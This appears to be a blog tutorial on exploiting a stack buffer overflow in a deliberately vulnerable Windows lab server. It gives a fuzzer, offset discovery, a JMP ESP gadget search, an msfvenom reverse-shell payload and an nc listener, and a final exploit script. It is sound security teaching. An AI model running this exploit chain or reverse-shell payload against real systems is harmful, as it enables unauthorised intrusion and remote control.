Stack-based buffer overflows are the foundational technique of Windows exploit development. If you’ve never written one, this is the right place to start. We’ll go from a crash all the way to popping a shell.

The Target

For this walkthrough, we’re using a deliberately vulnerable Windows application. The same principles apply to real-world targets — older VoIP software, FTP servers, media players, and various legacy applications still have this attack surface.

Step 1: Fuzzing — Finding the Crash

Start with a simple fuzzer that sends progressively longer strings until the application crashes:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import socket

target_ip   = "192.168.1.100"
target_port = 9999
buffer      = "A" * 100

while len(buffer) < 5000:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, target_port))
        s.send(("TRUN /.:/" + buffer).encode())
        s.close()
        print(f"[*] Sent {len(buffer)} bytes")
    except:
        print(f"[+] Crash at {len(buffer)} bytes")
        break
    buffer += "A" * 100

Step 2: Confirming the Crash in Immunity Debugger

Load the application into Immunity Debugger and attach. Run the fuzzer. When the crash happens, Immunity pauses execution and shows the register state.

Look at the EIP register. If it reads 41414141, you’ve confirmed your A characters have overwritten the instruction pointer. 0x41 is the hex value of ASCII A.

EIP = 41414141   ← We control the return address
ESP = 0041F9A8
EBP = 41414141

Controlling EIP means controlling where the processor jumps next — which means controlling execution flow.

Step 3: Finding the Exact Offset

Use Metasploit’s pattern_create to generate a unique string, then pattern_offset to find the exact overwrite position:

1
2
3
4
5
6
# Generate a 3000-byte unique pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

# After crash, read EIP (e.g. 386F4337) and find offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 386F4337
# [*] Exact match at offset 2003

Step 4: Controlling EIP

Verify control with a targeted payload:

1
2
3
4
5
6
7
8
9
offset   = 2003
payload  = b"A" * offset
payload += b"B" * 4      # Will appear in EIP as 42424242
payload += b"C" * 500    # Space for shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(b"TRUN /.:/" + payload)
s.close()

Immunity should now show EIP = 42424242. You have precise control.

Step 5: Finding a JMP ESP

Instead of hardcoding a return address, look for a JMP ESP instruction in a loaded module without ASLR or SafeSEH:

1
2
# In Immunity with mona.py installed:
!mona jmp -r esp -cpb "\x00"

Mona lists modules and JMP ESP gadgets. Pick an address from an unprotected module — this becomes your new EIP value.

Step 6: Generating Shellcode

1
2
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 \
  -b "\x00" -f python -v shellcode

Step 7: Final Exploit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import socket

target_ip   = "192.168.1.100"
target_port = 9999

offset    = 2003
jmp_esp   = b"\xaf\x11\x50\x62"   # JMP ESP — little-endian
nop_sled  = b"\x90" * 16
shellcode = b""                    # Paste msfvenom output here

payload = b"A" * offset + jmp_esp + nop_sled + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(b"TRUN /.:/" + payload)
s.close()
print("[*] Payload sent")

Start your listener with nc -lvnp 4444 before running. A shell should arrive.

What’s Next

This is the basic stack overflow — no ASLR, no DEP, no SafeSEH. Real targets have protections. The next post in this series covers SEH-based overflows and how to bypass SafeSEH, followed by egghunters for situations where buffer space is severely limited.


Into wireless security as well? Grab the free WiFi Pentesting Cheatsheet — a single-page reference covering monitor mode setup, common attack flows, and tool commands. A useful companion to the exploit dev work if you’re building out a full pentesting skillset.